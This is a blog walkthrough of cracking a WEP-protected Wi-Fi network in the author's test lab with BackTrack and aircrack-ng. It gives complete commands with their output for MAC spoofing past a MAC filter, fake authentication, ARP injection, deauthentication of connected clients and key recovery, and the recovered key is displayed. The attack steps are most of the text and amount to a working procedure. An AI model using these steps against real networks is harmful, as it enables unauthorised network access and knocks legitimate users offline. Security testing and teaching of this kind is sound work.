Scenario 1 : Cracking WEP with Backtrack and aircrack-ng (แฮกไวเลสสำหรับผู้ที่อ่านภาษาอังกฤษเป็นเท่านั้น !)

Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network

The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.

In this scenario, I have 2 clients that are currently connected to the wireless network.

My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122).  Both adapters will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.

The process of cracking the wep key for this scenario is

  • Put wireless interface in monitor mode (airmon-ng start wireless_interface)
  • Find wireless network (channel, BSSID and ESSID)  (airodump-ng wireless_interface_in_monitor_mode)
  • Find a valid / connected client (MAC Address)
  • Wait until client is gone and change mac address to valid client MAC  (airmon-ng stop wireless_intifconfig wireless_int down, macchanger –m XX:XX:XX:XX:XX:XX wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int)
  • Associate with AP and inject ARP packets (airodump-ng –c <channel> –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a <BSSID> –h <local MAC> –e ESSID wireless_int_in_monitormode>, aireplay-ng -3 -b <BSSID> wireless_int_in_monitor_mode)
  • If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (aireplay-ng –deauth 0 -a BSSID –c CLientMAC wireless_int_in_monitor_mode)
  • Save IV’s to file and crack the key (airocrack-ng –0 –b BSSID /tmp/filename.ivs)

In all cases, in all scenario’s, the most important component is verifying that you can associate with an AP. You’ll learn some techniques on how to do this in this blog. But let’s not jump ahead.

First, list the adapters :

root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

The wifi0 adapter is the proxim pcmcia card.  wlan0 is the Dlink USB adapter.  For this test, we’ll use the proxim card (wifi0).  The mac address of this card is 00:20:A6:4F:A9:41  (you can get the mac address by running ‘ifconfig wifi0’)

First, put the card in monitor mode :

root@bt:~# airmon-ng start wifi0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

A new interface called “ath1” has been created. This interface is the one we are going to use in order to find the wireless networks. Launch “airodump-ng ath1” to hop all channels and show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :

root@bt:~# airodump-ng ath1

CH  1 ][ Elapsed: 1 min ][ 2009-02-19 14:05                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    

 00:14:BF:89:9C:D3   34      104        0    0  11  54 . WEP  WEP         TestNet                                                   

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

 00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   55   0- 1      0       12  TestNet
 00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     32      441  TestNet

Ok, so we have found a network with ESSID “TestNet”, operating at channel 11. Apparently there are 2 clients connected to this AP.

Let’s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3

First, run airodump-ng again, but set it to look at channel 11.  This is required for the AP association/authentication (via aireplay-ng) to operate at channel 11 as well (because you cannot specify the channel to use when running aireplay-ng) :

root@bt:/# airodump-ng --channel 11 ath1

Leave the airodump-ng running for now and run the following aireplay-ng command to perform a ‘fake authentication’ attempt :

root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)
14:14:50  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11

14:14:50  Sending Authentication Request (Open System) [ACK]
14:14:50  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)

14:14:53  Sending Authentication Request (Open System) [ACK]
14:14:53  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)

Ok – Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using the –h parameter), but we’ll change the MAC address on our interface (which will make all future commands shorter)

First, kill the airodump-ng process.  Take wifi0 (ath1) out of monitoring mode :

root@bt:~# airmon-ng stop ath1

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :

root@bt:~# ifconfig wifi0 down
root@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0
Current MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.)
Faked MAC:   00:1c:bf:90:5b:a3 (unknown)
root@bt:~# ifconfig wifi0 up
root@bt:~# airmon-ng start wifi0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

root@bt:~# ifconfig ath1
ath1      Link encap:UNSPEC  HWaddr 00-1C-BF-90-5B-A3-D0-03-00-00-00-00-00-00-00-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:106 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:9448 (9.4 KB)  TX bytes:0 (0.0 B)

Ok, looks good

Let’s see if it makes a difference.  Run airodump-ng again (airodump-ng –c 11 ath1) and then try to perform the fake authentication again

root@bt:/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:20:19  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11

14:20:19  Sending Authentication Request (Open System) [ACK]
14:20:19  Authentication successful
14:20:19  Sending Association Request [ACK]
14:20:19  Association successful :-) (AID: 1)

If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :

aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1

–1 6000 = reauthenticate every 6000 seconds

-o 1 = only send one set of packets at a time

-q 12= send keepalive packets every 12 seconds   (sometimes, it works better without this last parameter)

From this point forward, you should be able to associate with the AP. If not, there’s no use in continuing with the process.

Ok, now let’s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv’s to a file (parameter –i   or  –ivs):

root@bt:~# airodump-ng -c 11 -w /tmp/TestNetAudit1 -i ath1

CH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24                                         

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

00:14:BF:89:9C:D3   34 100      135        0    0  11  54 . WEP  WEP    OPN  TestNet                                               

BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   43   0- 1     10       84  TestNet

The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.

First, launch aireplay-ng in injection mode :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:26:55  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-142655.cap
You should also start airodump-ng to capture replies.
Read 243 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

(leave this running – wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv’s) on the network). Some AP’s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don’t have a lot of time, it might help trying to associate yourself again :

aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1

If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other client…)

Keep the aireplay-ng and airodump-ng running and run the deauth attack.

root@bt:/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath1
14:38:15  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
14:38:15  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:16  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:18  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19  Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]

If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that the ARP injection process starts to work :

root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:39:08  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-143908.cap
You should also start airodump-ng to capture replies.
Redd 7951 packets (got 878 ARP requests and 589 ACKs), sent 7116 packets...(499 pps)

 

At the same time, you should start to see the number of data packets increasing rapidly :

CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ]                                          

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

00:14:BF:89:9C:D3   34  97     4582    41799  814  11  54 . WEP  WEP    OPN  TestNet

BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     46     2495  TestNet
00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   34  54- 1      0    51017  TestNet

For a 128bit WEP key, you’ll probably need between 80000 and 250000 data packets.  However you don’t need to wait until you’ve gathered all those packets. You can already try to break the key using the ivs file that is being generated.  As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file and attempt to crack the key.

By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot.  So if your coverage is good, signal is strong, and the injection works well, it may go very fast.

root@bt:/# aircrack-ng –0 -b 00:14:BF:89:9C:D3 /tmp/TestNetAudit1-01.ivs
Opening /tmp/TestNetAudit1-01.ivs
Reading packets, please wait...

Aircrack-ng 1.0 rc2 r1415

[00:00:01] Tested 865 keys (got 140507 IVs)

   KB    depth   byte(vote)
    0    0/  1   A3(203120) 73(160718) 31(256416) 18(156160) DD(154112) FE(153344)
    1    0/  9   EA(193816) 22(150440) AD(254880) 0D(153856) 9B(153856) 4B(153600)
    2    0/  1   D3(212716) AD(197696) 22(135904) E6(153601) 4A(153334) 89(151208)
    3    7/  3   AA(153630) 1F(122064) B0(141808) BB(151552) 3C(151040) F8(150724)
    4   13/  4   DD(150086) 23(139760) 05(129534) E4(149504) 04(149248) 70(149238) 

             KEY FOUND! [ A3:EA:D3:AA:DD:73:22:AD:1F:23:31:AD:22 ]
        Decrypted correctly: 100%

If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.

If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.

In my case, the key was cracked in 1 second.  The total process took about 10 minutes.

The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104

(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s